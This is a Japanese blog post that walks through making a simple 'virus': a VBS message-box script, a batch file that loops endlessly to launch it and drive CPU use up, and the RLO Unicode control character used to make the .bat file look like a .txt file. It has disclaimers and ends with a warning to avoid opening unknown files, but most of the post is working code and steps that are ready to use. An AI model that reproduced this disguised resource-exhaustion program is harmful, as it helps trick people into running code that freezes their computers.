こんにちは、tangoです。
今回は、誰でも簡単に作成することができるウイルスを紹介していきます。
この記事は、セキュリティエンジニアに少しでも興味をもってもらったり、少しでもセキュリティの学びとしての記事です。
犯罪を推奨している記事ではございません。絶対に遊び半分で悪用などしないでください。
※ここに書かれていることはすべて自己責任で行ってください。一切の責任を負いません。

★vbsでCPU高騰ウイルスのソースコードを作成

メモ帳を開き以下のソースコードを記述します。

【ソースコード】

msgbox"CPU高騰中"

--------------------------------------------
//※他にも文言を増やしたい場合

//msgbox"表示させたい文言"

記載が完了したら、拡張子を.vbsで保存する。
今回は、k.vbs で保存する。

・実行されるか確認

記述した内容が表示されれば正常に起動しています。

★バッチファイルを作成

メモ帳を開き以下のソースコードを記述します。

:1
start k.vbs    //vbsファイルの名前
goto 1

記載が完了したら、拡張子を.batで保存する。
今回は、①pulltxt.bat で保存する。

★RLOを使い拡張子を騙す

batファイルを以下の手順にて拡張子を騙していきます。

eとtの間にカーソルを持っていき、右クリック⇒Unicode制御文字の挿入(I)を選択し、RLOをクリック。

以下のように拡張子が.txtのように見えます。

★CPUの高騰しているのか確認

タスクマネージャーを開き、CPUの使用率を確認します。

・なにもしていない状態

・batファイルを起動した状態

上記のスナップショットを比較てもらっても分かるように、CPUの高騰が見られました。

こんな簡単なコマンドでも、これだけCPUを高騰させます。
今回紹介した内容はCPUの高騰ですが、他にもトロイの木馬やWannaCryなどといったウイルスが存在します。
そういったウイルスに感染しないように、日頃からむやみにURLを開けない、むやみに起動しないようにして、快適なネットワークライフを楽しんでください！！！

みなさんのエンジニアライフに少しでもお役に立てれば幸いです。
ありがとうございました。

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